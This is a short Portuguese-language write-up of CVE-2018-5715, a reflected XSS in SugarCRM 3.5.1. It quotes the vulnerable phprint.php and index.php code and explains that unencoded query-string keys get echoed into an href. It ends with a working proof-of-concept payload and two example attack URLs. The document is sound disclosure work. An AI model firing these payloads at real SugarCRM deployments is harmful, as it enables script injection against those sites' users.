CVE-2018-5715 sugarCRM XSS

A SugarCRM permite que as empresas criem relacionamentos de proximidade com clientes, com a solução mais adaptável e econômica do mercado para gestão de relacionamento com o cliente (CRM, na sigla em inglês).

XSS SugarCRM 3.5.1:
Quando paramos para analisar o seguinte trecho de código, conseguimos ver que a primeira key é o "print".
phprint.php
 32 foreach ($_GET as $key => $val) {
 33   if ($key != "print") {
 34     if (is_array($val)) {
 35       foreach ($val as $k => $v) {
 36         $query_string .= "{$key}[{$k}]=" . urlencode($v) . "&";
 37       }
 38     }
 39     else {
 40       $query_string .= "{$key}=" . urlencode($val) . "&";
 41     }
 42   }
 43 }
 44 
 45 $url = "{$_SERVER['PHP_SELF']}?{$query_string}";
"{$key}=" . urlencode($val) . "&";, ok , o valor da key está sendo encodado, e no print que temos:
 60 <a href="<?php echo $url; ?>"><?php echo $app_strings['LBL_BACK']; ?></a><br><br>
a url está sendo jogada inteiramente, então, só nos resta ir no único lugar que não foi encodado, que é na key em si:
print=a&"/>alert(1)
A index do sugarCRM 3.5.1 faz um include do phprint.php, então, esse xss pode ser aplicado em dois lugares, na index.php ou em phprint.php.
681 if (isset($_GET['print'])) {
682   $page_str = ob_get_clean();
683   $page_arr = explode("<!-- crmprint -->", $page_str);
684   include("phprint.php");
685 }
 url example 1 = http://vulnerable/phprint.php?print=a&"/><xss>alert(1)</xss>
 url example 2 = http://vulnerable/index.php?action=Login&module=Users&print=a&"/><xss>alert(1)</xss>